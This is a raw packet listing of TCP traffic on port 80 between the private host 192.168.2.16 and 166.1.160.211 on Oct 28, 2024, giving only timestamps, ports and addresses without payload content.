Oct 28, 2024 19:46:25.822242022 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.822261095 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.822304010 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.822314978 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.822349072 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.822381973 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.822397947 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.822417021 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.822449923 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.822462082 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.822545052 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.822578907 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.822592974 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.822642088 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.822676897 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.822694063 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.822712898 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.822746038 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.822761059 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.822781086 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.822809935 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.822835922 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.822957039 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.822999001 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.823007107 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.823040962 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.823081970 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.823134899 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.823167086 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.823199987 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.823215961 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.823234081 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.823281050 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.823440075 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.823473930 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.823508024 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.823518038 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.823542118 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.823575020 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.823582888 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.823606968 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.823642015 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.823654890 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.823676109 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.823719025 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.823929071 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.824042082 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.824100971 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.825651884 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.859230995 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.859349012 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.859384060 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.859417915 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.859452963 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.859486103 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.859512091 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.859512091 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.859570026 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.859606981 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.859622955 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.859658957 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.859674931 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.863080025 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.887217045 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.887262106 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.887330055 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.887366056 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.887398958 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.887406111 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.887406111 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.887432098 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.887450933 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.887499094 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.887547016 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.887550116 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.887583971 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.887631893 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.887676954 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.887727976 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.887761116 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.887779951 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.887851000 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.887903929 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.887937069 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.888006926 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.888041019 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.888058901 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.888104916 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.888137102 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.888158083 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.888194084 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.888238907 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.888505936 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.888557911 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.888592958 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.888605118 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.888644934 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.888678074 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.888694048 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.888720036 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.888768911 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.888864994 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.888947010 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.888979912 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.888991117 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.889044046 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.889079094 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.889096022 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.889111996 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.889146090 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.889163017 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.889178038 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.889220953 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.889429092 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.889482975 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.889514923 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.889527082 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.889648914 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.889682055 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.889692068 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.889765024 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.889796972 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.889811039 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.889830112 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.889864922 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.889878988 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.889899015 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.889934063 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.889942884 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.889966965 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.890001059 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.890012026 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.890036106 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.890085936 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.890563011 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.890597105 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.890640974 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.890666008 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.890698910 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.890732050 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.890749931 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.890765905 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.890813112 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.890819073 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.890851974 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.890886068 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.890899897 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.891155958 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.891201973 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.891207933 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.891239882 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.891294956 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.891297102 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.891364098 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.891396999 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.891412020 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.891432047 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.891465902 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.891484976 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.891503096 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.891535044 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.891549110 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.891568899 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.891602993 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.891613960 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.892146111 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.892199039 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.892199993 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.892235041 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.892272949 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.892286062 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.892308950 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.892352104 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.892431021 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.892462969 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.892513990 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.892528057 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.892566919 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.892616034 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.892617941 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.892651081 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.892683983 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.892697096 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.899034023 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.938385963 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.938437939 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.938488007 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.938519955 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.938554049 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.938587904 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.938591957 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.938591957 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.938618898 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.938622952 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.938673019 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.938695908 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.938747883 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.938795090 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.938796043 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.938828945 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.938863039 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.938870907 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.938898087 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.938941956 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.938965082 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.938997984 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.939043045 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.939048052 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.939083099 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.939116955 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.939127922 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.939151049 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.939186096 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.939193964 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.939279079 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.939328909 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.939328909 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.939363956 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.939399004 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.939414024 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.939824104 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.939870119 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.939877987 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.939910889 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.939955950 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.940002918 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.940035105 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.940068960 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.940080881 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.940104008 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.940150976 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.940294981 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.940390110 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.940424919 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.940442085 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.940476894 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.940510035 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.940526962 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.940546989 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.940581083 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.940594912 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.940645933 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.940679073 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.940700054 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.940712929 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.940759897 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.940964937 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.941019058 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.941052914 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.941063881 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.941154957 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.941188097 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.941201925 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.941221952 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.941256046 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.941260099 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.941293001 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.941327095 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.941348076 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.941407919 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.941442013 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.941453934 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.941476107 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.941526890 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.942011118 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.942064047 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.942097902 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.942115068 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.942133904 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.942167997 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.942189932 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.942251921 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.942287922 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.942300081 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.942404032 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.942454100 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.942454100 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.942490101 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.942523003 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.942542076 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.942557096 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.942605972 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.942996025 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.943047047 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.943080902 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.943095922 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.943156958 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.943191051 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.943206072 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.943224907 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.943274021 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.943373919 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.943408012 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.943442106 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.943456888 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.943475962 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.943509102 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.943523884 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.943543911 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.943592072 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.943916082 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.943969965 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.944003105 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.944020033 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.944056034 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.944087982 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.944116116 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.944122076 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.944154978 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.944170952 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.944190025 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.944226027 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.944241047 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.944279909 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.944314003 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.944333076 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.944346905 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.944396019 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.944859982 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.944977045 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.945027113 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.945048094 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.945084095 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.945127010 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.945135117 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.945167065 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.945202112 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.945216894 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.945235968 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.945270061 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:25.945287943 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:25.985080957 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:26.320980072 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:26.327263117 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.502312899 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.502370119 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.502408028 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.502445936 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.502458096 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:26.502480984 CET	80	49726	166.1.160.211	192.168.2.16
